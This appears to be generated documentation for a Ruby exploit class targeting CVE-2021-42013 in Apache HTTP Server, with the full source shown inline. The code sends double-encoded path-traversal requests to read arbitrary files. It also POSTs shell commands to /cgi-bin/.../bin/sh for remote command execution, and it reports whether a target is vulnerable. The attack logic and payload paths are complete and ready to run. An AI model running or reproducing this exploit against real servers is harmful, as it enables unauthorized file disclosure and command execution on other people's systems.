class CVE202142013
This class implements methods to exploit CVE-2021-42013 to print file or/and execute command with ruby.
Public Class Methods
generate_random_path()
click to toggle source
This function generates a random path
# File CVE-2021-42013.rb, line 89 def self.generate_random_path characters = Array('A'..'Z') + Array('a'..'z') files = [] Array(1..4).sample.times do files.push(Array.new(Array(2..7).sample) { characters.sample }.join) end files.join('/') end
get_stdin_host()
click to toggle source
This function gets target host from the STDIN
# File CVE-2021-42013.rb, line 81 def self.get_stdin_host print 'Host (target): ' gets.strip end
main()
click to toggle source
The main function to launch the attack
# File CVE-2021-42013.rb, line 141 def self.main arguments = parse_args base_url = "http://#{arguments.host}" uri = URI("http://#{arguments.host}") url = "#{base_url}#{arguments.path}" response = nil if arguments.commands request = Net::HTTP::Post.new(url) request.body = "echo Content-Type: text/plain;echo;#{arguments.commands}" elsif arguments.file request = Net::HTTP::Get.new(url) else request = Net::HTTP::Get.new("#{url}/#{generate_random_path}") end Net::HTTP.start( uri.hostname, uri.port, use_ssl: uri.scheme == 'https' ) { |http| response = http.request(request) } detect_only = (arguments.commands.nil? and arguments.file.nil?) bad_payload = (response.code == '403' or response.code == '404') good_payload = (response.code == '200') not_vulnerable = (response.code == '400') if (detect_only && bad_payload) || good_payload puts "[+] Target: #{arguments.host} is vulnerable" arguments.output.write(response.body) unless detect_only 0 elsif bad_payload puts( "[-] Target: #{arguments.host} is vulnerable but this payload is not" \ " working (HTTP error #{response.code})." ) 2 elsif not_vulnerable puts "[-] Target: #{arguments.host} is not vulnerable" 1 else puts "[-] Target: #{arguments.host} status unknown " \ "(HTTP error #{response.code})." 127 end end
parse_args()
click to toggle source
This function parse command line arguments
# File CVE-2021-42013.rb, line 101 def self.parse_args options = OpenStruct.new options.output = $stdout options.path = '/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65' OptionParser.new do |opt| opt.on( '-c', '--commands COMMAND1;COMMAND2;...', 'A list of semicolon-separate commands.' ) do |commands| options.commands = commands options.path = ( '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' ) end opt.on( '-f', '--file FILENAME', 'A file to print' ) do |filename| options.file = filename options.path += if filename[0] == '/' filename else "/#{filename}" end end opt.on( '-o', '--output FILENAME', 'A output file to write file or command output' ) { |filename| options.output = File.new(filename, 'w') } end.parse! options.host = ARGV[0] || get_stdin_host options end